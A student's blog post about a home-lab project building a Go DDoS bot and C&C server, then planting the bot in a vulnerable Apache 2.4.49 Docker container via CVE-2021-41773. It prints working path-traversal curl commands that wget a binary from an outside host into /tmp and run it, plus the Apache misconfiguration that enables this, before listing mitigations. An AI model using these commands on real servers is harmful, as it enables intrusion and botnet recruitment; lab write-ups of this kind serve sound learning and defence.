November 18, 2024
Since beginning my cybersecurity program, I've been looking for a good starter project to dip my toes into the field. To understand how to protect a computer system I figured I have to learn how to attack a system in the first place. The goal of this project was to learn how to go about exploiting a system in a natural non-contrived way. What I mean by natural and non-contrived is that the project is not prearranged with a specific path to take. School assignments, tutorials and similar exercises are examples of this. Although this approach is helpful for teaching skills and I of course leverage this type of learning (even within this project), I wanted to try something more open ended that I could take in any direction I wished, solve problems as they arose, and without training wheels so to speak.
Cybersecurity is a wide and deep field and finding a starter project was difficult in that there are so many places to start. So I decided to start with what seemed to be the simplest type of attack, distributed denial of service (DDoS). Is DDoS the simplest? In hindsight no, but being new to the field this seemed like an easy place to start since the concept is simple. The basic idea is to spam a target server with as many requests as possible to reduce its availability to respond to legitimate requests to 0.
The plan is simple.
I decided to keep things simple and write a HTTP DoS (not distributed, just DoS at this point) tool and exclude attacks with other network protocols and on other network layers. To start I originally wrote a program that simply runs as many attack loops in parallel as possible. An attack loop is just a loop that repeatedly makes HTTP requests to the DDoS-target server. I ran the bot program on 3 of my devices, and I found that this was nowhere near enough to make a website hosted on my personal web server unavailable or even significantly slow its load time. Clearly more bots on more devices were needed to bring down even a humble web server running on a small form factor PC in my apartment.
So I expanded the DoS program to a more general DDoS tool to support controlling bots on multiple remote devices. I wrote a C&C server and modified the bot program to call the C&C server over HTTP periodically to receive attack orders. Attack orders specify the DDoS-target domain or IP address and whether to attack or to stop.
The most interesting part of the DDoS tool is the bot program. The bot makes periodic HTTP requests to the C&C server to receive orders. If the bot receives a response from the C&C server including the order to attack, it creates many parallel attack loops and executes a HTTP GET request within the loop to the DDoS-target server. In parallel to the attack loop the bot continues to send periodic requests for orders to the C&C server, so if the C&C responds with orders to stop attacking, the bot will stop.
The DDoS tool source code can be viewed here.
In brief, here are the steps taken to simulate the infiltration of a machine to deploy the bot:
wget in the container as a legitimate admin
user. The Apache 2.4.49 Docker image does not include
wget, and since many Linux distributions come
installed with it I think its safe to assume it would be
available for the purposes of this project
wget and then chmod to make it
executable
The next part of the plan required finding an attack vector to infiltrate and deploy the bot program onto enough machines to create a botnet to have a sufficient volume of requests to make the DDoS-target server unavailable.
For this exercise, I decided to look for an existing vulnerability affecting Apache HTTP servers. I chose Apache because I am already familiar with running Apache and because targeting Apache is a realistic scenario given its ubiquity. The Apache vulnerability I chose to exploit is CVE-2021-41773 which is a path traversal remote execution vulnerability. My goal was to find a way to use remote code execution to download a binary of my bot program to the machine.
Being new to cybersecurity I didn't know how to exploit this vulnerability. I found a good explanation here for exploiting CVE-2021-41773, which details why Apache 2.4.49 is vulnerable and how to exploit it.
In my cybersecurity program there is a lot of talk about setting up a home lab for developing and testing exploits and controls. I have an ad-hoc lab of sorts in that I can guinea pig devices on my home network, but currently I have no formal lab. Because of that and because these days I am always on the go, I set up this project with the bot-target machine running in Docker, the C&C server running on a cloud server, and the DDoS-target machine running on the web server you are reading this blog post from (the guinea pig).
The Dockerfile to build the image for this project is dead simple:
FROM httpd:2.4.49-buster
I setup the Docker container running Apache to listen on
localhost:80.
For CVE-2021-41773 to work requires configuring Apache via httpd.conf to allow access to the file system like so:
<Directory />
AllowOverride none
# this is the default
# Require all denied
# misconfigure to allow access to entire filesystem
Require all granted
</Directory>
And to enable CGI scripts:
<IfModule !mpm_prefork_module>
# the line below must be uncommented to allow cgi
LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
# this is the default
#Options None
# enable cgi scripts
Options +ExecCGI
AddHandler cgi-script *
Require all granted
</Directory>
In order to download the bot program to the bot-target machine
requires wget to be installed. Since many Linux
distributions come with wget installed by default, it
is reasonable to assume it is available and therefore I installed it
into the Docker container simulating the bot-target.
Finding a directory with rwx access was critical in
order to exploit the path traversal vulnerability and achieve RCE.
Without such a directory, some means of getting
rwx would have been necessary, such as a privilege
escalation vulnerability. Requiring an additional vulnerability
would have reduced the the set of available machines that could be
potential targets for infiltration and bot deployment.
Since Apache was running under the daemon user, the
only directory with rwx access was the
/tmp directory, so this is the where the bot program
was downloaded to and executed from.
Figure 1: Listing out the directories and their permissions
The steps to download and execute the bot program are shown in the code block below. The path traversal vulnerability allows us to execute programs with the machine's shell if Apache has CGI scripts enabled. The path traversal exploit relies on a path normalization flaw in Apache version 2.4.49, the details of which are covered in the explanation here.
curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;wget --directory-prefix=/tmp http://4439526.xyz/bot'
curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;chmod a+x /tmp/bot'
curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;/tmp/bot'
A hangup I had in deploying the bot program was that the bot binary
was not statically linked when I first deployed it, preventing the
binary from running on the bot-target. I assumed since I wrote the
bot program in Go that the binary is statically linked by default.
This was not the case since Go dynamically links libc when using the
net library. A thorough explanation can be found
here. I
statically linked the bot program by adding the
netgo build tag. See the bot
build script
for details.
Once deployed, the below command executes the bot program.
curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;/tmp/bot'
The image below shows how the botnet is controlled through the
C&C server. Simply set CMD to
ATTACK or to HOLD and specify the
TARGET. The C&C server looks for the
ccs.conf file in the same directory it is in and reads
the orders to relay to the botnet from it.
Figure 2: Controlling bots through a conf file
Once the bot is running on the bot-target and the order to attack is given, the DDoS attack can be seen in the Apache logs as shown below.
Figure 3: Witness the attack in the Apache access logs
From the defender's perspective, the adversary's modus operandi
(AMO) can be modeled using various cybersecurity models such as
MITRE ATT&CK
or the
cyber kill chain. Defenders have opportunities to stop the attack in different
attack phases. Using the the cyber kill chain as a model, updating
Apache, creating a user without file system access outside the web
root for Apache to run under, configuring Apache to not allow
directory access outside its web root, and disabling CGI scripts (if
they are not necessary) all could have stopped the attack in the
weaponization, delivery or exploitation phases. Additionally,
blocking outbound HTTP requests from the server could have stopped
the attack in the delivery, installation, and command and control
phases. Furthermore, uninstalling all unneeded programs like
wget would reduce attacker's means for exploiting the
system.
From the attacker's perspective, a seemingly simple attack is after all not so simple. To deploy the bot program by exploiting CVE-2021-41773 required three preconditions; Apache version 2.4.49, misconfiguration of Apache directory access, and CGI scripts to be enabled. To effectively build a large botnet would require developing exploits for numerous vulnerabilities, not just CVE-2021-41773, and potentially also employing social engineering to commandeer as many machines as possible. Social engineering opens the possibility of commandeering machines that do not have services open to the internet. Deploying a worm along with the bot program could potentially spread the bot program to other machines on the same network as the bot-target server, including machines without services open to the internet.